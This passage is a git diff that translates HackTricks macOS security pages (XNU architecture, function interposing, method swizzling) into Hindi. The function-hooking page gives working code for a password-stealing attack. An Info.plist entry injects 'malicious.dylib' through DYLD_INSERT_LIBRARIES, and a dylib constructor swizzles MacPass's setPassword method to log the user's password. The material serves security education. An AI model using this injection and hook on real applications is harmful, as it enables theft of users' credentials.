करें: {{#ref}} macos-privilege-escalation.md {{#endref}} -## macOS Compliance +## macOS अनुपालन - [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security) -## References +## संदर्भ -- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +- [**OS X घटना प्रतिक्रिया: स्क्रिप्टिंग और विश्लेषण**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) - [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) - [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet) - [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ) - [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY) -
- -Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! - -**Hacking Insights**\ -Engage with content that delves into the thrill and challenges of hacking - -**Real-Time Hack News**\ -Keep up-to-date with fast-paced hacking world through real-time news and insights - -**Latest Announcements**\ -Stay informed with the newest bug bounties launching and crucial platform updates - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md index 306efd482..945715a36 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md @@ -4,36 +4,36 @@ ## XNU Kernel -The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**. +**macOS का मूल XNU है**, जिसका अर्थ है "X is Not Unix"। यह कर्नेल मूल रूप से **Mach माइक्रोकर्नेल** (जिस पर बाद में चर्चा की जाएगी) और **Berkeley Software Distribution (BSD)** के तत्वों से बना है। XNU **I/O Kit** नामक एक प्रणाली के माध्यम से **कर्नेल ड्राइवरों के लिए एक प्लेटफ़ॉर्म** भी प्रदान करता है। XNU कर्नेल डार्विन ओपन-सोर्स प्रोजेक्ट का हिस्सा है, जिसका अर्थ है **इसका स्रोत कोड स्वतंत्र रूप से उपलब्ध है**। -From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +एक सुरक्षा शोधकर्ता या Unix डेवलपर के दृष्टिकोण से, **macOS** एक **FreeBSD** प्रणाली के समान **महसूस हो सकता है** जिसमें एक सुंदर GUI और कई कस्टम एप्लिकेशन हैं। BSD के लिए विकसित अधिकांश एप्लिकेशन macOS पर बिना किसी संशोधन के संकलित और चलाए जा सकते हैं, क्योंकि Unix उपयोगकर्ताओं के लिए परिचित कमांड-लाइन उपकरण macOS में सभी मौजूद हैं। हालाँकि, चूंकि XNU कर्नेल Mach को शामिल करता है, इसलिए पारंपरिक Unix-समान प्रणाली और macOS के बीच कुछ महत्वपूर्ण अंतर हैं, और ये अंतर संभावित समस्याएँ उत्पन्न कर सकते हैं या अद्वितीय लाभ प्रदान कर सकते हैं। -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +XNU का ओपन-सोर्स संस्करण: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach एक **माइक्रोकर्नेल** है जिसे **UNIX-संगत** होने के लिए डिज़ाइन किया गया है। इसके प्रमुख डिज़ाइन सिद्धांतों में से एक था **कर्नेल** स्थान में चलने वाले **कोड** की मात्रा को **कम करना** और इसके बजाय कई सामान्य कर्नेल कार्यों, जैसे फ़ाइल प्रणाली, नेटवर्किंग, और I/O, को **उपयोगकर्ता-स्तरीय कार्यों के रूप में चलाने** की अनुमति देना। -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +XNU में, Mach **कर्नेल द्वारा सामान्यतः संभाले जाने वाले कई महत्वपूर्ण निम्न-स्तरीय संचालन** के लिए **जिम्मेदार** है, जैसे प्रोसेसर शेड्यूलिंग, मल्टीटास्किंग, और वर्चुअल मेमोरी प्रबंधन। ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +XNU **कर्नेल** में **FreeBSD** प्रोजेक्ट से व्युत्पन्न कोड की एक महत्वपूर्ण मात्रा भी **शामिल** है। यह कोड **Mach के साथ कर्नेल का हिस्सा के रूप में चलता है**, एक ही पते की जगह में। हालाँकि, XNU के भीतर FreeBSD कोड मूल FreeBSD कोड से काफी भिन्न हो सकता है क्योंकि Mach के साथ इसकी संगतता सुनिश्चित करने के लिए संशोधन आवश्यक थे। FreeBSD कई कर्नेल संचालन में योगदान करता है, जिसमें शामिल हैं: -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- प्रक्रिया प्रबंधन +- सिग्नल हैंडलिंग +- बुनियादी सुरक्षा तंत्र, जिसमें उपयोगकर्ता और समूह प्रबंधन शामिल है +- सिस्टम कॉल अवसंरचना +- TCP/IP स्टैक और सॉकेट +- फ़ायरवॉल और पैकेट फ़िल्टरिंग -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +BSD और Mach के बीच बातचीत को समझना जटिल हो सकता है, उनके विभिन्न वैचारिक ढांचे के कारण। उदाहरण के लिए, BSD प्रक्रियाओं का उपयोग अपने मौलिक निष्पादन इकाई के रूप में करता है, जबकि Mach थ्रेड के आधार पर कार्य करता है। इस विसंगति को XNU में **प्रत्येक BSD प्रक्रिया को एक Mach कार्य से जोड़कर** सुलझाया गया है जिसमें ठीक एक Mach थ्रेड होता है। जब BSD का fork() सिस्टम कॉल उपयोग किया जाता है, तो कर्नेल के भीतर BSD कोड एक कार्य और थ्रेड संरचना बनाने के लिए Mach कार्यों का उपयोग करता है। -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +इसके अलावा, **Mach और BSD प्रत्येक अलग-अलग सुरक्षा मॉडल बनाए रखते हैं**: **Mach का** सुरक्षा मॉडल **पोर्ट अधिकारों** पर आधारित है, जबकि BSD का सुरक्षा मॉडल **प्रक्रिया स्वामित्व** के आधार पर कार्य करता है। इन दोनों मॉडलों के बीच के भिन्नताएँ कभी-कभी स्थानीय विशेषाधिकार-उन्नयन कमजोरियों का परिणाम बनती हैं। सामान्य सिस्टम कॉल के अलावा, **Mach ट्रैप भी हैं जो उपयोगकर्ता-स्थान कार्यक्रमों को कर्नेल के साथ बातचीत करने की अनुमति देते हैं**। ये विभिन्न तत्व मिलकर macOS कर्नेल की बहुपरकारी, हाइब्रिड आर्किटेक्चर का निर्माण करते हैं। ### I/O Kit - Drivers -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kit एक ओपन-सोर्स, ऑब्जेक्ट-ओरिएंटेड **डिवाइस-ड्राइवर ढांचा** है जो XNU कर्नेल में **गतिशील रूप से लोड किए गए डिवाइस ड्राइवरों** को संभालता है। यह कर्नेल में ऑन-द-फ्लाई मॉड्यूलर कोड जोड़ने की अनुमति देता है, जो विविध हार्डवेयर का समर्थन करता है। {{#ref}} macos-iokit.md @@ -47,9 +47,9 @@ macos-iokit.md ## macOS Kernel Extensions -macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found). +macOS **कर्नेल एक्सटेंशन** (.kext) लोड करने के लिए **अत्यधिक प्रतिबंधात्मक** है क्योंकि कोड उच्च विशेषाधिकार के साथ चलेगा। वास्तव में, डिफ़ॉल्ट रूप से यह लगभग असंभव है (जब तक कि कोई बायपास नहीं पाया जाता)। -In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**: +अगली पृष्ठ पर आप यह भी देख सकते हैं कि macOS अपने **कर्नेलकैश** के भीतर लोड किए गए `.kext` को कैसे पुनर्प्राप्त किया जाए: {{#ref}} macos-kernel-extensions.md @@ -57,7 +57,7 @@ macos-kernel-extensions.md ### macOS System Extensions -Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions. +कर्नेल एक्सटेंशन का उपयोग करने के बजाय, macOS ने सिस्टम एक्सटेंशन बनाए, जो कर्नेल के साथ बातचीत करने के लिए उपयोगकर्ता स्तर के APIs प्रदान करते हैं। इस तरह, डेवलपर्स कर्नेल एक्सटेंशन का उपयोग करने से बच सकते हैं। {{#ref}} macos-system-extensions.md diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md index 424ed20b7..70c0fa913 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md @@ -4,52 +4,47 @@ ## Function Interposing -Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. +एक **dylib** बनाएं जिसमें एक **`__interpose`** सेक्शन (या एक सेक्शन जिसे **`S_INTERPOSING`** के साथ चिह्नित किया गया हो) हो, जिसमें **function pointers** के ट्यूपल हों जो **original** और **replacement** functions को संदर्भित करते हैं। -Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). +फिर, **inject** करें dylib को **`DYLD_INSERT_LIBRARIES`** के साथ (interposing मुख्य ऐप लोड होने से पहले होनी चाहिए)। स्पष्ट रूप से [**restrictions** जो **`DYLD_INSERT_LIBRARIES`** के उपयोग पर लागू होती हैं, यहाँ भी लागू होती हैं](../macos-proces-abuse/macos-library-injection/#check-restrictions). ### Interpose printf {{#tabs}} {{#tab name="interpose.c"}} - ```c:interpose.c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { - //va_list args; - //va_start(args, format); - //int ret = vprintf(format, args); - //va_end(args); +//va_list args; +//va_start(args, format); +//int ret = vprintf(format, args); +//va_end(args); - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` - {{#endtab}} {{#tab name="hello.c"}} - ```c //gcc hello.c -o hello #include int main() { - printf("Hello World!\n"); - return 0; +printf("Hello World!\n"); +return 0; } ``` - {{#endtab}} {{#tab name="interpose2.c"}} - ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib @@ -57,26 +52,24 @@ int main() { #include #define DYLD_INTERPOSE(_replacement, _replacee) \ - __attribute__((used)) static struct { \ - const void* replacement; \ - const void* replacee; \ - } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ - (const void*) (unsigned long) &_replacement, \ - (const void*) (unsigned long) &_replacee \ - }; +__attribute__((used)) static struct { \ +const void* replacement; \ +const void* replacee; \ +} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ +(const void*) (unsigned long) &_replacement, \ +(const void*) (unsigned long) &_replacee \ +}; int my_printf(const char *format, ...) { - int ret = printf("Hello from interpose\n"); - return ret; +int ret = printf("Hello from interpose\n"); +return ret; } DYLD_INTERPOSE(my_printf,printf); ``` - {{#endtab}} {{#endtabs}} - ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose @@ -84,24 +77,22 @@ Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` - ## Method Swizzling -In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** +In ObjectiveC यह एक विधि को इस तरह से कॉल किया जाता है: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** -It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` +यह आवश्यक है **object**, **method** और **params**। और जब एक विधि को कॉल किया जाता है, तो एक **msg भेजा जाता है** फ़ंक्शन **`objc_msgSend`** का उपयोग करके: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` -The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. +ऑब्जेक्ट है **`someObject`**, विधि है **`@selector(method1p1:p2:)`** और तर्क हैं **value1**, **value2**। -Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. +ऑब्जेक्ट संरचनाओं के अनुसार, एक **विधियों की सूची** तक पहुँचना संभव है जहाँ **नाम** और **विधि कोड के लिए पॉइंटर्स** **स्थित** होते हैं। > [!CAUTION] -> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) +> ध्यान दें कि चूंकि विधियों और कक्षाओं को उनके नामों के आधार पर एक्सेस किया जाता है, यह जानकारी बाइनरी में संग्रहीत होती है, इसलिए इसे `otool -ov ` या [`class-dump `](https://github.com/nygard/class-dump) के साथ पुनः प्राप्त करना संभव है। ### Accessing the raw methods -It's possible to access the information of the methods such as name, number of params or address like in the following example: - +यह विधियों की जानकारी जैसे नाम, पैरामीटर की संख्या या पता तक पहुँचने के लिए संभव है जैसे कि निम्नलिखित उदाहरण में: ```objectivec // gcc -framework Foundation test.m -o test @@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p #import int main() { - // Get class of the variable - NSString* str = @"This is an example"; - Class strClass = [str class]; - NSLog(@"str's Class name: %s", class_getName(strClass)); +// Get class of the variable +NSString* str = @"This is an example"; +Class strClass = [str class]; +NSLog(@"str's Class name: %s", class_getName(strClass)); - // Get parent class of a class - Class strSuper = class_getSuperclass(strClass); - NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); +// Get parent class of a class +Class strSuper = class_getSuperclass(strClass); +NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); - // Get information about a method - SEL sel = @selector(length); - NSLog(@"Selector name: %@", NSStringFromSelector(sel)); - Method m = class_getInstanceMethod(strClass,sel); - NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); - NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); +// Get information about a method +SEL sel = @selector(length); +NSLog(@"Selector name: %@", NSStringFromSelector(sel)); +Method m = class_getInstanceMethod(strClass,sel); +NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); +NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); - // Iterate through the class hierarchy - NSLog(@"Listing methods:"); - Class currentClass = strClass; - while (currentClass != NULL) { - unsigned int inheritedMethodCount = 0; - Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); +// Iterate through the class hierarchy +NSLog(@"Listing methods:"); +Class currentClass = strClass; +while (currentClass != NULL) { +unsigned int inheritedMethodCount = 0; +Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); - NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); +NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); - for (unsigned int i = 0; i < inheritedMethodCount; i++) { - Method method = inheritedMethods[i]; - SEL selector = method_getName(method); - const char* methodName = sel_getName(selector); - unsigned long address = (unsigned long)method_getImplementation(m); - NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); - } +for (unsigned int i = 0; i < inheritedMethodCount; i++) { +Method method = inheritedMethods[i]; +SEL selector = method_getName(method); +const char* methodName = sel_getName(selector); +unsigned long address = (unsigned long)method_getImplementation(m); +NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); +} - // Free the memory allocated by class_copyMethodList - free(inheritedMethods); - currentClass = class_getSuperclass(currentClass); - } +// Free the memory allocated by class_copyMethodList +free(inheritedMethods); +currentClass = class_getSuperclass(currentClass); +} - // Other ways to call uppercaseString method - if([str respondsToSelector:@selector(uppercaseString)]) { - NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; - NSLog(@"Uppercase string: %@", uppercaseString); - } +// Other ways to call uppercaseString method +if([str respondsToSelector:@selector(uppercaseString)]) { +NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; +NSLog(@"Uppercase string: %@", uppercaseString); +} - // Using objc_msgSend directly - NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); - NSLog(@"Uppercase string: %@", uppercaseString2); +// Using objc_msgSend directly +NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); +NSLog(@"Uppercase string: %@", uppercaseString2); - // Calling the address directly - IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address - NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp - NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method - NSLog(@"Uppercase string: %@", uppercaseString3); +// Calling the address directly +IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address +NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp +NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method +NSLog(@"Uppercase string: %@", uppercaseString3); - return 0; +return 0; } ``` - ### Method Swizzling with method_exchangeImplementations -The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. +फंक्शन **`method_exchangeImplementations`** **एक फंक्शन के कार्यान्वयन के पते को दूसरे के लिए बदलने** की अनुमति देता है। > [!CAUTION] -> So when a function is called what is **executed is the other one**. - +> इसलिए जब एक फंक्शन को कॉल किया जाता है, तो **जो कार्यान्वित होता है वह दूसरा होता है**। ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str @@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original method - return [self swizzledSubstringFromIndex:from]; +// Call the original method +return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { - // Perform method swizzling - Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); - Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); - method_exchangeImplementations(originalMethod, swizzledMethod); +// Perform method swizzling +Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); +Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); +method_exchangeImplementations(originalMethod, swizzledMethod); - // We changed the address of one method for the other - // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex - // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled +// We changed the address of one method for the other +// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex +// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - return 0; +return 0; } ``` - > [!WARNING] -> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. +> इस मामले में यदि **वैध** विधि का **क्रियान्वयन कोड** **विधि** **नाम** की **पुष्टि** करता है, तो यह इस स्विज़लिंग का **पता** लगा सकता है और इसे चलने से रोक सकता है। > -> The following technique doesn't have this restriction. +> निम्नलिखित तकनीक में यह प्रतिबंध नहीं है। ### Method Swizzling with method_setImplementation -The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. - -Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. +पिछला प्रारूप अजीब है क्योंकि आप 2 विधियों के क्रियान्वयन को एक दूसरे से बदल रहे हैं। फ़ंक्शन **`method_setImplementation`** का उपयोग करके आप **एक विधि के क्रियान्वयन को दूसरे के लिए बदल** सकते हैं। +बस याद रखें कि यदि आप इसे नए क्रियान्वयन से कॉल करने जा रहे हैं तो **मूल वाले के क्रियान्वयन के पते को स्टोर करें** इससे पहले कि आप इसे ओवरराइट करें क्योंकि बाद में उस पते को ढूंढना बहुत जटिल होगा। ```objectivec #import #import @@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL; @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { - NSLog(@"Custom implementation of substringFromIndex:"); +NSLog(@"Custom implementation of substringFromIndex:"); - // Call the original implementation using objc_msgSendSuper - return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); +// Call the original implementation using objc_msgSendSuper +return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { - @autoreleasepool { - // Get the class of the target method - Class stringClass = [NSString class]; +@autoreleasepool { +// Get the class of the target method +Class stringClass = [NSString class]; - // Get the swizzled and original methods - Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); +// Get the swizzled and original methods +Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); - // Get the function pointer to the swizzled method's implementation - IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); +// Get the function pointer to the swizzled method's implementation +IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); - // Swap the implementations - // It return the now overwritten implementation of the original method to store it - original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); +// Swap the implementations +// It return the now overwritten implementation of the original method to store it +original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); - // Example usage - NSString *myString = @"Hello, World!"; - NSString *subString = [myString substringFromIndex:7]; - NSLog(@"Substring: %@", subString); +// Example usage +NSString *myString = @"Hello, World!"; +NSString *subString = [myString substringFromIndex:7]; +NSLog(@"Substring: %@", subString); - // Set the original implementation back - method_setImplementation(originalMethod, original_substringFromIndex); +// Set the original implementation back +method_setImplementation(originalMethod, original_substringFromIndex); - return 0; - } +return 0; +} } ``` - ## Hooking Attack Methodology -In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. +इस पृष्ठ पर फ़ंक्शंस को हुक करने के विभिन्न तरीकों पर चर्चा की गई। हालाँकि, इसमें **हमले के लिए प्रक्रिया के अंदर कोड चलाना** शामिल था। -In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). +इसको करने के लिए सबसे आसान तकनीक है [Dyld को पर्यावरण चर के माध्यम से या हाइजैकिंग के माध्यम से](../macos-dyld-hijacking-and-dyld_insert_libraries.md) इंजेक्ट करना। हालाँकि, मुझे लगता है कि यह [Dylib प्रक्रिया इंजेक्शन](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) के माध्यम से भी किया जा सकता है। -However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. +हालाँकि, दोनों विकल्प **असुरक्षित** बाइनरी/प्रक्रियाओं तक **सीमित** हैं। सीमाओं के बारे में अधिक जानने के लिए प्रत्येक तकनीक की जांच करें। -However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. - -So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: +हालाँकि, एक फ़ंक्शन हुकिंग हमला बहुत विशिष्ट है, एक हमलावर ऐसा करेगा **प्रक्रिया के अंदर से संवेदनशील जानकारी चुराने के लिए** (यदि नहीं, तो आप बस एक प्रक्रिया इंजेक्शन हमला करेंगे)। और यह संवेदनशील जानकारी उपयोगकर्ता द्वारा डाउनलोड किए गए ऐप्स जैसे MacPass में स्थित हो सकती है। +इसलिए हमलावर का वेक्टर या तो एक भेद्यता खोजने या एप्लिकेशन के हस्ताक्षर को हटाने के लिए होगा, **`DYLD_INSERT_LIBRARIES`** env चर को एप्लिकेशन के Info.plist के माध्यम से इंजेक्ट करना, कुछ इस तरह जोड़ना: ```xml LSEnvironment - DYLD_INSERT_LIBRARIES - /Applications/Application.app/Contents/malicious.dylib +DYLD_INSERT_LIBRARIES +/Applications/Application.app/Contents/malicious.dylib ``` - -and then **re-register** the application: - +और फिर **पुनः पंजीकरण** करें आवेदन: ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` - -Add in that library the hooking code to exfiltrate the information: Passwords, messages... +उस पुस्तकालय में hooking कोड जोड़ें ताकि जानकारी को exfiltrate किया जा सके: पासवर्ड, संदेश... > [!CAUTION] -> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. - -#### Library example +> ध्यान दें कि macOS के नए संस्करणों में यदि आप एप्लिकेशन बाइनरी का **हस्ताक्षर हटा देते हैं** और इसे पहले निष्पादित किया गया था, तो macOS **अब एप्लिकेशन को निष्पादित नहीं करेगा**। +#### पुस्तकालय उदाहरण ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib @@ -331,27 +312,26 @@ static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { - // Function that will log the password and call the original setPassword(pass, file_path) method - NSLog(@"[+] Password is: %@", password); +// Function that will log the password and call the original setPassword(pass, file_path) method +NSLog(@"[+] Password is: %@", password); - // After logging the password call the original method so nothing breaks. - return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); +// After logging the password call the original method so nothing breaks. +return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { - // Get the real method address to not lose it - Class classMPDocument = NSClassFromString(@"MPDocument"); - Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); +// Get the real method address to not lose it +Class classMPDocument = NSClassFromString(@"MPDocument"); +Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); - // Make the original method setPassword call the fake implementation one - IMP fake_IMP = (IMP)custom_setPassword; - real_setPassword = method_setImplementation(real_Method, fake_IMP); +// Make the original method setPassword call the fake implementation one +IMP fake_IMP = (IMP)custom_setPassword; +real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` - -## References +## संदर्भ - [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md index 5381cb0d0..ecaf5b434 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md @@ -4,16 +4,15 @@ ## Basic Information -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware. +I/O Kit एक ओपन-सोर्स, 